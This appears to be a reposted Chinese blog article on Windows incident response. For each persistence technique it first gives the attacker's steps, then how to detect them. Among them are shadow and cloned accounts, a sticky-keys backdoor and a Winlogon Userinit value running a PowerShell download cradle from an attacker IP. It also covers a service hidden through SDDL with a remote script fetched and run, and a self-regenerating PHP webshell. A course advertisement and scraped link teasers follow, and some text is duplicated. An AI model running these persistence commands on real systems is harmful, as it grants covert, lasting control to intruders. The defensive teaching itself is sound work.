Windows系统从权限维持角度进行应急响应

news2024/9/28 5:34:05

一、基本介绍

红队攻击者在对目标进行渗透利用后通常都会进行权限维持,以达到持续利用的目的。而作为防守方进行应急响应时,应该如何与技术高超(jiaohuajianzha)的攻击者斗智斗勇呢?或许可以通过本文可以找到答案。以下内容不仅可以助力你拿捏应急响应,也能够让你在红蓝对抗中更胜一筹。篇幅有限只能先写一下Windows系统的应急响应。

二、维持应急

(一)Windows隐藏维持

1.维持方法:通过输入以下命令进行隐藏后门木马文件

Attrib +s +a +h +r 【文件名】

1651740616_62738fc875f68e2d132a8.png!small?1651740616675

2.隐藏效果:
此时即使打开了显示隐藏文件都看不见该文件1651740598_62738fb689e83e105daff.png!small?1651740598891

3.应急查找:通过输入以下命令来见招拆招查找隐藏后门

Attrib -s -a -h -r .exe

(二)影子账号维持

1.维持方法:在创建的账号后面添加一个$符号就会使其隐藏的特性来达到隐藏账号的目的,比如创建一个binbin$的账号1651740688_627390109811a7d8e3574.png!small?1651740688755

2.隐藏效果:此时无法通过输入net
user查找到该新建用户1651740707_62739023ef3498735c723.png!small?1651740708115

3.应急查找:可以通过输入win+R,然后输入lusrmgr.msc。在本地用户和组中可以查看到该隐藏账号1651740728_62739038abf452d12baa3.png!small?1651740728944

(三)克隆账号维持

1.维持方法:

a.使用第二条中的创建影子的方式创建一个影子账号,然后再Win+R→regedit进入注册表。1651740764_6273905c1a22ff67cd78d.png!small?1651740764431

b.找到HEKY_LOCAL_MACHINE\SAM\SAM,首次进入需要右键修改一下其权限为完全控制。按F5进行刷新进入到该文件夹1651740797_6273907db6df9b2d5be5e.png!small?1651740798040

c.将000001F4(超级管理员账号)的F项目的值全部复制1651740819_62739093323401acf523a.png!small?1651740819610

d.查看刚新建账号的对应的文件,可以看到该类型为0x3ea,所以新建账号binbin对应的文件夹为000003EA

1651740844_627390ac6439fced6395b.png!small?1651740844764

e.将刚才复制到管理的F值粘贴到刚建立的账号000003EA中的F项

1651740862_627390be4dd121e91f166.png!small?1651740862646

f.导出binbin$和3EB

1651740878_627390ce9aaac80b47c9c.png!small?1651740879016

g. 删除掉刚建立的影子账号,然后双击导入刚导出的注册表

1651740894_627390de6a76c69434ddf.png!small?1651740894614

2.隐藏效果:此时无论net
user还是lusrmgr.msc查询都查看不到该克隆账号。但是能够使用该账号进行远程登录1651740925_627390fdaa681f9619fbf.png!small?1651740925806

1651740946_6273911253fa8d4b94123.png!small?1651740946521

3.应急查找:为什么刚才要将创建过程写这么详细,就是为了我们去寻找。我们可以同样来到注册表HEKY_LOCAL_MACHINE\SAM\SAM中,然后查找有没有跟000001F4(超级管理员账号)的F值一样的账号即是克隆账号

(四)组策略脚本维持

1.维持方法:win+R→gpedit.msc进入到组策略中,找到Windows设置→脚本→启动。然后添加后门的路径即可1651741054_6273917e623fa6a44eba3.png!small?1651741055159

2.维持效果:只要该主机进行启动,都会顺带启动该后门文件

3.应急查找:在应急响应的时候,为什么总有木马能够悄悄启动运行,可能就是因为这个组策略中设置了启动后门脚本。可以使用win+R→gpedit.msc进行查找,或win+R→msconfig查看启动项

1651741094_627391a61acc41ab36cf4.png!small?1651741097676

(五)粘滞键后门维持

1.维持方法:

a.进入到C:\Windows\System32找到sethc.exe文件

1651741132_627391cc35af4bbb65166.png!small?1651741132741

b.修改其权限为当前权限可以进行完全控制并且所有者为当前用户1651741159_627391e7b822b0f2966d9.png!small?1651741160190

1651741180_627391fcb377b033f47b5.png!small?1651741181061

c.将其移动到其他位置,并用木马文件替换原本该sethc.exe文件

1651741223_62739227b767c7401e04a.png!small?1651741223870

d.使用放大镜(Magnify.exe)、设置中心(utilman.exe)、屏幕放大中心(osk.exe)也能够实现此种维持效果1651741239_62739237c709e9a1e4d2b.png!small?1651741240258

2.维持效果:此时不用输入任何密码,只要按粘滞键5次就会启动后门程序运行

1651741253_627392450d9ea3078c9bd.png!small?1651741253387

3.应急查找:使用win+R→cmd进入到DOS界面后输入以下命令查找,如果有则表示该启动着并且可能已经被替换,可以通过右键查看其属性来查看其具体情况判断

tasklist | findstr “setch.exe”

tasklist | findstr “Magnify.exe”

(六)Winlogon无落地文件维持

1.维持方法:

a.在Powershell中输入以下命令进行修改Winlogon的Userinit字段的键值

Set-ItemProperty   "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name   Userinit -value "C:\Windows\system32\userinit.exe,***************"

b.然后继续在Powershell中输入以下命令来达到无文件落地就能执行后门效果,192.168.1.131为攻击机IP

Set-ItemProperty   "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name   Userinit -value "C:\Windows\system32\userinit.exe, powershell.exe -nop   -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.131/a'))\""

2.维持效果:因为Winlogon.exe 进程是Windows自带的系统进程,所以很难发现

3.应急查找:仔细检查以下的注册表中的键值是否存在可以的程序

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

(七)映像劫持维持

1.维持方法:

a.Win+R→regedit进入注册表,找到以下目录下

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File
Execution Options

1651741315_62739283446cf0e88c9bd.png!small?1651741315817

b.在该文件下新建一个比较有迷惑性的项(如原本就已经安装的常用软件)

1651741349_627392a5e7e2eacdffad1.png!small?1651741350409

c.然后在新建的项里面添加一个Debugger,并将其值修改为后门木马的绝对路径

1651741369_627392b9affb213987eeb.png!small?1651741370083

d.将原本存在可执行文件包生成一个快捷文件,等待受害者点击即可

2.维持效果:此时只要受害者点击该快捷启动文件就会被劫持到启动后门文件

3.应急查找:

a.仔细检查注册表中以下路径中的程序名称及键值,查看其键值是否指向其对应名称的文件。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
Execution Option

1651741419_627392eb74c96e7ecc3c1.png!small?1651741419900

b.加固时可以将注册表审计打开,进入到softwar项并修改。同时禁止对注册表的远程访问,可关闭Remote
Registry服务1651741655_627393d70751e651e9d53.png!small?1651741655298

1651741752_62739438bdc16fced4751.png!small?1651741753167

(八)SDDL隐藏维持

1.维持方法:

a.输入win+R→cmd进入DOS界面后输入以下命令进行创建自启动服务,并启动该服务

sc create “.NET CLR Networking 3.5.0.0” binpath= “cmd.exe /k
C:\Users\administrator\beacon.exe” depend= Tcpip obj= Localsystem start= auto

1651741805_6273946d72603ec5c040c.png!small?1651741805596

b.此时可以通过sc query、Get-Service、services.msc方式进行查看到该服务器

1651741829_6273948560b5cb6990de2.png!small?1651741829632

c.所以可通过修改SDDL来隐藏服务

sc sdset “.NET CLR Networking 3.5.0.0” “D:(D;;DCLCWPDTSD;;;IU)
(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)
(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)”

1651741846_6273949652808dfdc2855.png!small?1651741846523

d.此时再使用sc query
已经查看不了该服务。同时在服务中也查看不了,但是可以在注册表中查看到该服务,并且能够看到该服务的地址指向写的后门文件1651741862_627394a64946c242fcca0.png!small?1651741862808

1651741893_627394c5ea600a449752f.png!small?1651741894307

e.在kali中新建一个1.ps1,里面写入内容如下来隐藏注册表信息1651741914_627394da039ae43fc2b29.png!small?1651741915079

f.然后开启临时http服务1651741924_627394e414474d3132fce.png!small?1651741924329

g.在被攻击主机中输入如下命令来执行刚才生成的1.ps1文件。192.168.1.138为kali的IP

powershell.exe -exec bypass -nop -w hidden -c “IEX((new-object
net.webclient).downloadstring(‘http://192.168.1.138/1.ps1’));Server-Sddl-
Change -Name ‘.NET CLR Networking 3.5.0.0’”

2.维持效果:重启启动靶机后可以看到已经在注册表中完全隐藏了该项服务

1651741959_627395076879cd5bc74db.png!small?1651741959761

3.应急查找:

a.可以使用Wireshark进行流量抓包,通过查看进出流量判断恶意连接软件的存在
b. 如果对方使用了以下的拒绝语句来隐藏,则可以使用以下语句来删除拒绝相关的SDDL语句,从而能够正常查询该后门

& $env:SystemRoot\System32\sc.exe sdset “.NET CLR Networking 3.5.0.0”
“D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)”

(九)PHP不死马后门维持

1.维持方法:使用如下不死马php持续不断生成木马文件

<?php ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行. set_time_limit(0); //通过set_time_limit(0)可以让程序无限制的执行下去 $interval = 5; // 每隔*秒运行 do { $filename = 'test.php'; if(file_exists($filename)) { echo "xxx"; } else { $file = fopen("test.php", "w"); //修改此行可以改变生成的木马文件名 $txt = "<?php phpinfo();?>\n"; //此行为写入的木马文件内容,可根据需要进行修改

fwrite($file, t x t ) ; f c l o s e ( txt); fclose( txt);fclose(file);
}
sleep($interval);
} while (true);
?>

2.维持效果:即使将该木马文件删除后也会不断产生,从而达到shell维持的效果

3.应急查找:

a.此时应该先关闭Web服务程序,如Apache或IIS等,然后查找web服务目录下是否存在可疑文件。

b.找到该不死马之后和生成的木马文件都删除干净后才重启Web服务程序。

c.可以使用everything中的dm语法,根据文件生成时间来查找该不死马和生成的木马文件

1651739905_62738d0152a796ed2dfa2.png!small?1651739905496

(十)IIS后门权限维持

1.维持方法:使用IIS_backdoor文件,在网站目录下新建一个/bin文件夹。并把IIS_backdoor_dll.dll存放在这里面。将IIS的自带文件(比如iis-85图片)作为启动路径1651740126_62738dde36054b7f5d888.png!small?1651740126737

2.维持效果:如果将IIS_backdoor文件设置为隐藏就可以比较难于发现了,可以通过IIS_backdoor中的软件进行shell连接,执行任意命令1651740051_62738d936bb8c8038b587.png!small?1651740051876

3.应急查找:

a.关闭Web服务程序,然后对Web目录进行查找

b.同样可以使用everything进行查找,查找语法为以下

dm:【时间】.dll

三、推荐工具

1.Everything:文件查找,可以按照建立时间全盘快速寻找到文件从而方便查找到隐藏的木马文件

2.Wireshark:流量分析,根据进出连接的流量进行分析,从而锁定攻击者IP

3.火绒剑:进程分析,可以直接分析运行进程和子进程,以及其对应的启动文件

(img-grDHpBav-1676528539454)]

3.应急查找:

a.关闭Web服务程序,然后对Web目录进行查找

b.同样可以使用everything进行查找,查找语法为以下

dm:【时间】.dll

三、推荐工具

1.Everything:文件查找,可以按照建立时间全盘快速寻找到文件从而方便查找到隐藏的木马文件

2.Wireshark:流量分析,根据进出连接的流量进行分析,从而锁定攻击者IP

3.火绒剑:进程分析,可以直接分析运行进程和子进程,以及其对应的启动文件

最后

分享一个快速学习【网络安全】的方法,「也许是」最全面的学习方法:
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

在这里插入图片描述

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k。

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!
扫下方二维码,免费领取

有了这些基础,如果你要深入学习,可以参考下方这个超详细学习路线图,按照这个路线学习,完全够支撑你成为一名优秀的中高级网络安全工程师:

高清学习路线图或XMIND文件(点击下载原文件)

还有一些学习中收集的视频、文档资源,有需要的可以自取:
每个成长路线对应板块的配套视频:


当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

因篇幅有限,仅展示部分资料,需要的可以【扫下方二维码免费领取】

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/349572.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

企业小程序开发步骤【教你创建小程序】

随着移动互联网的兴起&#xff0c;微信已经成为了很多企业和商家必备的平台&#xff0c;而其中&#xff0c;微信小程序是一个非常重要的工具。本文将为大家介绍小程序开发步骤&#xff0c;教你创建小程序。 步骤一、注册小程序账号 先准备一个小程序账号&#xff0c;在微信公…

ROS从入门到精通5-5:局部路径规划插件开发案例(以DWA算法为例)

目录0 专栏介绍1 局部规划插件制作框架2 DWA算法源码分析2.1 全局路径裁剪2.2 更新局部代价2.3 运行DWA算法2.3.1 构造动态窗口2.3.2 生成最优轨迹2.4 终点规划3 算法测试0 专栏介绍 本专栏旨在通过对ROS的系统学习&#xff0c;掌握ROS底层基本分布式原理&#xff0c;并具有机…

区块链知识系列 - 系统学习EVM(四)-zkEVM

区块链知识系列 - 系统学习EVM(一) 区块链知识系列 - 系统学习EVM(二) 区块链知识系列 - 系统学习EVM(三) 今天我们来聊聊 zkEVM、EVM 兼容性 和 Rollup 是什么&#xff1f; 1. 什么是 Rollup rollup顾名思义&#xff0c;就是把一堆交易卷&#xff08;rollup&#xff09;起来…

oracle官方下载历史版本JDK版本

背景 日常工作中由于一些特殊原因&#xff0c;我们需要下载指定系统指定位数指定版本的jdk&#xff0c;这个时候去网上搜索下载就会遇到各种坑&#xff0c;病毒、诱导连接、诱导关注/注册、付费、错误版本等&#xff0c;所以最好的办法是去官网下载&#xff0c;下面列举两种方式…

Allegro中如何删除多余D码操作指导

Allegro中如何删除多余D码操作指导 用Allegro做PCB设计的时候,在最后输出生产文件的时候,必须清除多余的D码,不让多余的D码出现在D码文件中,类似下图 如何清除多余D码,具体操作如下 点击Tools点击Padstack

WIN11/win10+Azure Kinect DK详细驱动配置教程(亲测)

本人3000多大洋 买了一台 Azure Kinect DK设备&#xff0c;打算研究研究人体姿态。今天配置一下&#xff0c;网上的教程不少&#xff0c;有的过期教程&#xff0c;有的和我的不匹配&#xff0c;所以,只能参考他们的&#xff0c;取其精华 去其糟粕。下面 开始&#xff0c;这里先…

C#.Net正则表达式学习笔记

C#.Net正则表达式学习笔记 在处理字符串时&#xff0c;你会经常有查找符合特定条件的字符串的需求&#xff0c;比如判断一串电话号码是否符合格式、一个邮箱是否符合格式、一个密码是否包含了字母大小写等等。 正则表达式(Regular expressions)用于匹配文本&#xff0c;使用一…

[2023]自动化测试框架完整指南

所有软件在提供给用户之前都必须经过测试。软件测试是开发生命周期中必不可少的一步因为它确保用户必须收到符合其开发目的的高质量产品。每个企业都优先考虑测试;因此&#xff0c;大多数人更愿意从手动测试转向自动化。因此&#xff0c;自动化测试框架是任何软件测试过程的基础…

redis 分布式缓存、主从集群

目录分布式缓存1.Redis持久化1.1.RDB持久化RDB原理1.2.AOF持久化1.3.RDB与AOF对比2.Redis主从2.1.搭建主从架构2.2.主从数据同步原理2.2.1.全量同步2.2.2.增量同步2.2.3.repl_backlog原理2.3.主从同步优化方式2.4.全量同步和增量同步区别3. Redis哨兵3.1 集群监控原理3.2 集群故…

powerjob的worker启动,研究完了这块代码之后我发现了,代码就是现实中我们码农的真实写照

这是一篇让你受益匪浅的文章&#xff0c;代码即使人生。 worker启动比server启动要复杂一些&#xff0c;毕竟worker是要实际干活的&#xff0c;工欲善其事必先利其器&#xff0c;所以需要准备的工具还是不能少的&#xff0c;server对于powerjob来说&#xff0c;只是一个调度用的…

JVM详解

一&#xff0c;JVM 1&#xff0c;JVM区域划分 类装载器&#xff0c;运行时数据区&#xff0c;字节码执行引擎 2&#xff0c;JVM内存模型&#xff08;运行时数据区&#xff09; 由本地方法栈&#xff0c;虚拟机栈&#xff0c;堆&#xff0c;方法区&#xff0c;和程序计数器组成。…

C++类基础(十五)

类的继承——虚函数&#xff08;二&#xff09; ● 由虚函数所引入的动态绑定属于运行期行为&#xff0c;与编译期行为有所区别 虚函数与继承紧密相关 – 虚函数的缺省实参只会考虑静态类型 struct Base {virtual void fun(int x 3){std::cout << "virtual void f…

国产技术迎来突破,14nm芯片横空出世,低代码也有好消息

芯片&#xff0c;被称为工业时代的“粮食”&#xff0c;小到手机手环&#xff0c;大到飞机轮船&#xff0c;几乎各个行业都不离开芯片的支持&#xff0c;其重要性不言而喻。而我国在这一领域一直较为薄弱。 一、“芯片之路坎坷” 由于国内半导体芯片市场底子薄弱、没有主动权…

NetApp AFF A 系列全闪存存储阵列

NetApp AFF A 系列全闪存阵列是一款智能、至强、至信的解决方案&#xff0c;它可利用现代云技术为您的 Data Fabric 提供所需的速度、效率和安全性。 是时候实现数据现代化了 进行任何 IT 转型的基础性第一步是利用高性能全闪存存储打造现代化基础架构&#xff0c;提高关键业务…

【C++之容器适配器】反向迭代器的实现

目录前言一、反向迭代器的实现1. 底层2. 成员函数1. 构造函数2. operator*()3. operator->()4. 前置5. 后置6. 前置--7. 后置--8. operator!()9. operator()二、vector反向迭代器的实现1. vector的正向迭代器2. vector反向迭代器的实现3. 测试vector的反向迭代器三、list反向…

git提交

文章目录关于数据库&#xff1a;桌面/vue-admin/vue_shop_api 的 git 输入 打开 phpStudy ->mySQL管理器 导入文件同时输入密码&#xff0c;和文件名 node app.js 错误区&#xff1a; $ git branch // git branch 查看分支 只有一个main分支不见master解决&#xff1a; gi…

PyQt5保姆级入门教程——从安装到使用

目录 Part1&#xff1a;安装PyQt5 Part 2&#xff1a;PyCharm配置PyQt5 Part 3&#xff1a;PyQt5设计界面介绍 Part 4&#xff1a;PyQt5设计UI 今天看了多个大佬的教程&#xff0c;总算是把PyQt5开发弄好了&#xff0c;每个部分都要看几个人的十分不方便&#xff0c;我十分…

YOLOv3简介

YOLOv3 预测部分 Darknet-53 YOLOv3的主干提取网络为Darknet-53&#xff0c;相比于YOLOv2时期的Darknet-19&#xff0c;其加深了网络层数且引入了Residual残差结构。其通过不断的1X1卷积和3X3卷积以及残差边的叠加&#xff0c;大幅度的加深了网络。残差网络的特点是容易优化&a…

【Unity VR开发】结合VRTK4.0:将浮点数从交互器传递到可交互对象

语录&#xff1a; 愿你熬得过万丈孤独&#xff0c;藏得下星辰大海。 前言&#xff1a; 默认情况下&#xff0c;交互器只能将单个布尔操作传递给可交互对象&#xff0c;后者控制可交互对象上的抓取操作。在其他时候&#xff0c;交互器中的其他操作可能希望传递给可交互对象&…

leaflet 设置marker,并可以任意拖动每一个marker(071)

第071个 点击查看专栏目录 本示例的目的是介绍演示如何在vue+leaflet中通过L.marker来添加marker,通过设置其属性,可以让marker在地图上任意的拖动。 直接复制下面的 vue+leaflet源代码,操作2分钟即可运行实现效果 文章目录 示例效果配置方式示例源代码(共76行)相关API参…